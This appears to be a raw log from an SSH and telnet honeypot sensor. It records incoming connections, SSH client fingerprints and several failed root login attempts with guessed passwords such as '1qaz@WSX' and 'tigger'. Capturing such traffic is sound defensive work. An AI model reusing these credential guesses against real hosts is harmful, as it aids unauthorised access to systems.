{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35370,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c98e8e509b8","protocol":"telnet","message":"New connection: 192.119.13.58:35370 (10.17.0.5:23) [session: 7c98e8e509b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:13.597383Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48506,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d7e3ad6c3ab","protocol":"telnet","message":"New connection: 192.119.13.58:48506 (10.17.0.5:23) [session: 3d7e3ad6c3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:24.291681Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60060,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bb735c51a2b","protocol":"telnet","message":"New connection: 192.119.13.58:60060 (10.17.0.5:23) [session: 2bb735c51a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:34.620103Z"}
{"eventid":"cowrie.session.closed","duration":42.37762236595154,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:35.303255Z","src_ip":"192.119.13.58","session":"01553c451e80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":49766,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa889e420dd6","protocol":"ssh","message":"New connection: 103.27.238.120:49766 (159.203.135.109:22) [session: aa889e420dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:35.956425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:35.962058Z","src_ip":"103.27.238.120","session":"aa889e420dd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:36.239923Z","src_ip":"103.27.238.120","session":"aa889e420dd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tigger","message":"login attempt [root/tigger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:37.070763Z","src_ip":"103.27.238.120","session":"aa889e420dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:38.350858Z","src_ip":"103.27.238.120","session":"aa889e420dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.1311993598938,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:45.924404Z","src_ip":"192.119.13.58","session":"ed621d0d915a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52682,"dst_ip":"10.17.0.5","dst_port":23,"session":"75ca9aec6d59","protocol":"telnet","message":"New connection: 192.119.13.58:52682 (10.17.0.5:23) [session: 75ca9aec6d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:46.807423Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57356,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdd51ed1bab7","protocol":"telnet","message":"New connection: 192.119.13.58:57356 (10.17.0.5:23) [session: fdd51ed1bab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:48.058413Z"}
{"eventid":"cowrie.session.closed","duration":3.1724627017974854,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:17:49.979798Z","src_ip":"192.119.13.58","session":"75ca9aec6d59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.11158609390259,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:01.403098Z","src_ip":"192.119.13.58","session":"3d7e3ad6c3ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.8805410861969,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:01.477756Z","src_ip":"192.119.13.58","session":"7c98e8e509b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":49256,"dst_ip":"159.203.135.109","dst_port":22,"session":"84456ecfc140","protocol":"ssh","message":"New connection: 186.4.240.226:49256 (159.203.135.109:22) [session: 84456ecfc140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:02.097974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:02.104119Z","src_ip":"186.4.240.226","session":"84456ecfc140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:02.199212Z","src_ip":"186.4.240.226","session":"84456ecfc140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mikko","message":"login attempt [root/mikko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:02.590390Z","src_ip":"186.4.240.226","session":"84456ecfc140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:03.685260Z","src_ip":"186.4.240.226","session":"84456ecfc140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":58356,"dst_ip":"159.203.135.109","dst_port":22,"session":"84cec495e948","protocol":"ssh","message":"New connection: 103.219.170.37:58356 (159.203.135.109:22) [session: 84cec495e948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:06.026644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:06.031772Z","src_ip":"103.219.170.37","session":"84cec495e948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:06.124795Z","src_ip":"103.219.170.37","session":"84cec495e948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:06.712774Z","src_ip":"103.219.170.37","session":"84cec495e948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:07.807286Z","src_ip":"103.219.170.37","session":"84cec495e948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39330,"dst_ip":"10.17.0.5","dst_port":23,"session":"490e621c96d2","protocol":"telnet","message":"New connection: 192.119.13.58:39330 (10.17.0.5:23) [session: 490e621c96d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:11.445944Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46362,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b5b1a0d3e1e","protocol":"telnet","message":"New connection: 192.119.13.58:46362 (10.17.0.5:23) [session: 9b5b1a0d3e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:13.197623Z"}
{"eventid":"cowrie.session.closed","duration":40.84182810783386,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:15.461771Z","src_ip":"192.119.13.58","session":"2bb735c51a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54040,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9318229c398","protocol":"telnet","message":"New connection: 192.119.13.58:54040 (10.17.0.5:23) [session: f9318229c398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:22.207912Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":53380,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce74f3670805","protocol":"ssh","message":"New connection: 103.75.182.198:53380 (10.17.0.5:22) [session: ce74f3670805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:29.014922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:29.020080Z","src_ip":"103.75.182.198","session":"ce74f3670805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:29.263065Z","src_ip":"103.75.182.198","session":"ce74f3670805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":35238,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c6cb4648483","protocol":"ssh","message":"New connection: 103.101.216.219:35238 (159.203.135.109:22) [session: 2c6cb4648483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:29.610010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:29.615454Z","src_ip":"103.101.216.219","session":"2c6cb4648483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:29.863274Z","src_ip":"103.101.216.219","session":"2c6cb4648483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.84446477890015,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:29.902629Z","src_ip":"192.119.13.58","session":"fdd51ed1bab7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:29.989996Z","src_ip":"103.75.182.198","session":"ce74f3670805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"panpan","message":"login attempt [root/panpan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:30.887244Z","src_ip":"103.101.216.219","session":"2c6cb4648483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:31.235985Z","src_ip":"103.75.182.198","session":"ce74f3670805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:32.138481Z","src_ip":"103.101.216.219","session":"2c6cb4648483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57634,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ef27950c3b4","protocol":"telnet","message":"New connection: 192.119.13.58:57634 (10.17.0.5:23) [session: 3ef27950c3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:37.122112Z"}
{"eventid":"cowrie.session.closed","duration":37.67205762863159,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:49.117853Z","src_ip":"192.119.13.58","session":"490e621c96d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.1555871963501,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:56.353106Z","src_ip":"192.119.13.58","session":"9b5b1a0d3e1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60908,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbeec3e3edce","protocol":"telnet","message":"New connection: 192.119.13.58:60908 (10.17.0.5:23) [session: bbeec3e3edce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:18:59.167076Z"}
{"eventid":"cowrie.session.closed","duration":40.07499933242798,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:02.282789Z","src_ip":"192.119.13.58","session":"f9318229c398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56246,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b3afb84ac3","protocol":"telnet","message":"New connection: 192.119.13.58:56246 (10.17.0.5:23) [session: d6b3afb84ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:11.272662Z"}
{"eventid":"cowrie.session.closed","duration":35.418346881866455,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:12.540311Z","src_ip":"192.119.13.58","session":"3ef27950c3b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":59578,"dst_ip":"10.17.0.5","dst_port":22,"session":"68206b8d10da","protocol":"ssh","message":"New connection: 89.108.118.91:59578 (10.17.0.5:22) [session: 68206b8d10da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:29.892482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:29.897973Z","src_ip":"89.108.118.91","session":"68206b8d10da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:30.051337Z","src_ip":"89.108.118.91","session":"68206b8d10da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ifkfubyjd","message":"login attempt [root/ifkfubyjd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:30.502656Z","src_ip":"89.108.118.91","session":"68206b8d10da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:31.653398Z","src_ip":"89.108.118.91","session":"68206b8d10da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45108,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c7ddf6a8e5b","protocol":"telnet","message":"New connection: 192.119.13.58:45108 (10.17.0.5:23) [session: 8c7ddf6a8e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:39.109162Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50212,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfb76ea2a8c","protocol":"telnet","message":"New connection: 192.119.13.58:50212 (10.17.0.5:23) [session: 9dfb76ea2a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:40.063185Z"}
